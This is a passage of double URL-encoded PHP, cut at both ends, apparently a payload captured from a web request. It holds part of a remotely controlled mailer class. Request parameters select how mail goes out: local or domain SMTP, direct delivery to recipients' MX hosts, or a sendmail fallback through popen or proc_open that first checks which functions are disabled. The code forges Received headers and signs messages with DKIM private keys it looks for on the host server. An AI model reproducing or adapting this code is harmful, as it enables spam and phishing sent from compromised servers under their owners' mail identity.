22host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_list%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2524mx_list%255B0%255D%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E465%252C%2522enc%2522%253D%253E%2522ssl%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E587%252C%2522enc%2522%253D%253E%2522tls%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522mail.%2522.%2524domain%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522smtp.%2522.%2524domain%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524smtp_list%2520as%2520%2524srv%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524srv%255B%2527host%2527%255D%252C%2520%2524srv%255B%2527port%2527%255D%252C%2520%2524srv%255B%2527enc%2527%255D%252C%2520%2524srv%255B%2527host%2527%255D%2520%253D%253D%2520%2527localhost%2527%2520%253F%25203%2520%253A%25205%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Aforce%252A%2527.%2524this-%253Eeol.%2527%252Adata%253A%2527.%2524srv%255B%2527host%2527%255D.%2527%253A%2527.%2524srv%255B%2527port%2527%255D.%2527%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522direct%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524do%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524usesock%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527wc%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528array%2528%2527gmail.com%2527%252C%2520%2527mailgun.org%2527%2529%2520as%2520%2524k%2520%253D%253E%2520%2524host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_list%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524host%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528empty%2528%2524mx_list%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520switch%2520%2528%2524k%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520case%25200%253A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_list%255B0%255D%252C%252025%252C%2520null%252C%25202%252C%2520true%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520case%25201%253A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524usesock%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_list%255B0%255D%252C%252025%252C%2520null%252C%25202%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524do%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524do%2529%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524received_hdr%2520%253D%2520%2524this-%253Ebuild_received_header%2528%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524received_hdr.%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Etry_sign_dkim%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520true%252C%2520%2524received_hdr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524dkim_data%2520.%2520%2524this-%253Eeol%2520.%2520%2522.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2527%2540%2527%252C%2520%2524to%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253D%253D%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rcpt_domain%2520%253D%2520strtolower%2528trim%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rcpt_domain%2520%253D%2520preg_replace%2528%2527/%255Ewww%255C./i%2527%252C%2520%2527%2527%252C%2520%2524rcpt_domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%2520%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524rcpt_domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524mx_records%2520as%2520%2524mx_host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_host%252C%252025%252C%2520null%252C%252010%252C%2520%2524usesock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Adirect%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522mail%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540mail%2528%2524to%252C%2520%2524subject%252C%2520%2524body%252C%2520%2524headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Amail%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528isset%2528%2524_REQUEST%255B%2527usm%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Efallback_sendmail%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Asendmail%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520fallback_sendmail%2528%2524headers%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2520%253D%2520%2527default%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sendmail_paths%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/sbin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/bin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/lib/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/sbin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/bin/sendmail%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524valid_sendmail_path%2520%253D%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524sendmail_paths%2520as%2520%2524path%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524path%2529%2520%2526%2526%2520%2540is_executable%2528%2524path%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524valid_sendmail_path%2520%253D%2520%2524path%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524valid_sendmail_path%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524command_bm%2520%253D%2520escapeshellcmd%2528%2524valid_sendmail_path%2529%2520.%2520%2522%2520-bm%2520-t%2520-i%2520-f%2520%2522%2520.%2520escapeshellarg%2528%2524mail_from%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524command_t%2520%2520%253D%2520escapeshellcmd%2528%2524valid_sendmail_path%2529%2520.%2520%2522%2520-t%2520-i%2520-f%2520%2522%2520.%2520escapeshellarg%2528%2524mail_from%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524disable_functions%2520%2520%253D%2520%2540ini_get%2528%2527disable_functions%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524popen_available%2520%2520%2520%2520%253D%2520function_exists%2528%2527popen%2527%2529%2520%2526%2526%2520%2528%2540stripos%2528%2524disable_functions%252C%2520%2527popen%2527%2529%2520%253D%253D%253D%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524proc_open_available%2520%253D%2520function_exists%2528%2527proc_open%2527%2529%2520%2526%2526%2520%2528%2540stripos%2528%2524disable_functions%252C%2520%2527proc_open%2527%2529%2520%253D%253D%253D%2520false%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524headers%2520.%2520%2524this-%253Eeol%2520.%2520%2524this-%253Eeol%2520.%2520%2524body%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ret_bm%2520%253D%2520%2524this-%253Esend_using_sendmail%2528%2524command_bm%252C%2520%2524data%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524ret_bm%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Esign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524final_data%2520%253D%2520%2524dkim_data%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524final_data%2520%253D%2520%2524data%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ret%2520%253D%2520%2524this-%253Esend_using_sendmail%2528%2524command_t%252C%2520%2524final_data%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524ret%2520%2521%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_using_sendmail%2528%2524command%252C%2520%2524message%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524popen_available%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524h%2520%253D%2520%2540popen%2528%2524command%252C%2520%2527w%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524h%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fwrite%2528%2524h%252C%2520%2524message%2520.%2520%2524this-%253Eeol%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524code%2520%253D%2520%2540pclose%2528%2524h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524code%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524proc_open_available%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524desc%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%25200%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522r%2522%2529%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%25201%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522w%2522%2529%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%25202%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522w%2522%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524proc%2520%253D%2520%2540proc_open%2528%2524command%252C%2520%2524desc%252C%2520%2524pipes%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_resource%2528%2524proc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fwrite%2528%2524pipes%255B0%255D%252C%2520%2524message%2520.%2520%2524this-%253Eeol%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B2%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524code%2520%253D%2520%2540proc_close%2528%2524proc%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524code%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520try_sign_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524add_dot%2520%253D%2520true%252C%2520%2524prepend%2520%253D%2520%2522%2522%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524signed%2520%253D%2520%2524this-%253Esign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524signed%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524add_dot%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524prepend%2520.%2520%2524signed%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524signed%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520sign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2520%253D%2520%2527default%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524private_key%2520%253D%2520%2524this-%253Efind_dkim_key%2528%2524domain%252C%2520%2524selector%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524private_key%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524time%2520%253D%2520time%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524_%252C%2520%2524header_list%2529%2520%253D%2520%2524this-%253Ecanonicalize_headers_relaxed%2528%2524headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524doma